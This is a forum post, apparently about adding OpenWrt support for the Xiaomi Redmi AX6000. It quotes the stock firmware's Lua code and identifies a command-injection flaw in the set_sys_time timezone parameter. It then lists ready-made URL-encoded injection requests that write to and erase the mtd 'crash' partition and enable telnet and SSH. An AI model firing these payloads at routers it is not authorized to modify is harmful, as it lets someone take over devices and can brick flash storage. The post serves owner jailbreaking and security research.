Add OpenWrt support for Xiaomi "Redmi AX6000"

Here is what I found yesterday in the LUA code:

entry({"api", "misystem", "set_sys_time"}, call("setSysTime"), (""), 173) 


function setSysTime()
    local result = {
        ["code"] = 0
    }
    local time = LuciHttp.formvalue("time")
    local timezone = LuciHttp.formvalue("timezone")
    local index = tonumber(LuciHttp.formvalue("index") or 0) or 0
    XQSysUtil.setSysTime(time, timezone, index)
    LuciHttp.write_json(result)
end


function setSysTime(time, tzone, index)
    local XQCountryCode = require("xiaoqiang.XQCountryCode")
    local XQFunction = require("xiaoqiang.common.XQFunction") 
    
    if tzone and not XQFunction.isStrNil(tzone) then
        local fs = require("nixio.fs")
        local uci = require("luci.model.uci").cursor()
        uci:foreach("system", "system",
            function(s)
                if not XQFunction.isStrNil(s.timezone) then
                    uci:set("system", s[".name"], "timezone", tzone)
                    uci:set("system", s[".name"], "webtimezone", tzone)
                    uci:set("system", s[".name"], "timezoneindex", index)
                end
            end
        )
        uci:commit("system")
        XQFunction.forkExec("/etc/init.d/timezone restart")
        
        local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
        local XQLog = require("xiaoqiang.XQLog")
        local isMeshCap = XQFunction.isMeshCap()
        if isMeshCap then
            local info = {
                ["cmd"] = "sync_time",
                ["timezone"] = tostring(tzone),
                ["index"] = tostring(index or 0),
                ["tz_value"] = tostring(tzone),
            }
            local json= require("luci.json")
            local j_msg = json.encode(info)
            XQLog.log(6," CAP call RE sync timezone msg:" .. j_msg)
            -- exploitable vulnerability --------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh action \'" .. j_msg .. "\'")
            -- ----------------------------------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh whc_sync")
        end
    end
    if not XQFunction.isStrNil(time) and time:match("^%d+%-%d+%-%d+ %d+:%d+:%d+$") then
        XQFunction.forkExec("echo 'ok,xiaoqiang' > /tmp/ntp.status; sleep 3; date -s \""..time.."\"")
    end
end


function isMeshCap()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "NETMODE") or ""
    if mode:match("^whc_cap") then 
        return true
    end
    if mode:match("^lanapmode") then 
        local capmode = getCAPMode()
        if capmode == 1 then
            return true
        end
    end
    return false
end

function getCAPMode()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "CAP_MODE") or ""
    if mode == "ap" then 
        return 1
    end
    return 0
end

It is very likely that this vulnerability can be exploited.

First you need to check the correct settings of the router:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
The netmode parameter must contain the value 4. If this is not the case, then the exploit will not work!

Test http request:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20

Vulnerability exploit check:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/sys_log
Download the tar.gz file from the link specified in the browser.
Unpack tar.gz and open file data/usr/log/messages
At the very end of the log should be the following:

2022-08-07T14:46:32+01:00 XiaoQiang luci: "timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20"
2022-08-07T14:46:32+01:00 XiaoQiang whc_to_re: {"cmd":"sync_time","tz_value":"
2022-08-07T14:46:32+01:00 XiaoQiang root: hello_world_3333_

If this test works, then to activate TELNET you will need to replace logger command with this:

  1. CMD: echo pVoAAA== | base64 -d | mtd write - crash ("pVoAAA==" decode to "\xA5\x5A\x00\x00")
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
    reboot

  2. CMD: bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

  3. CMD: mtd erase crash
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
    reboot

PS: Only now I do not know how to legaly force the function isMeshCap to return true...

15 Likes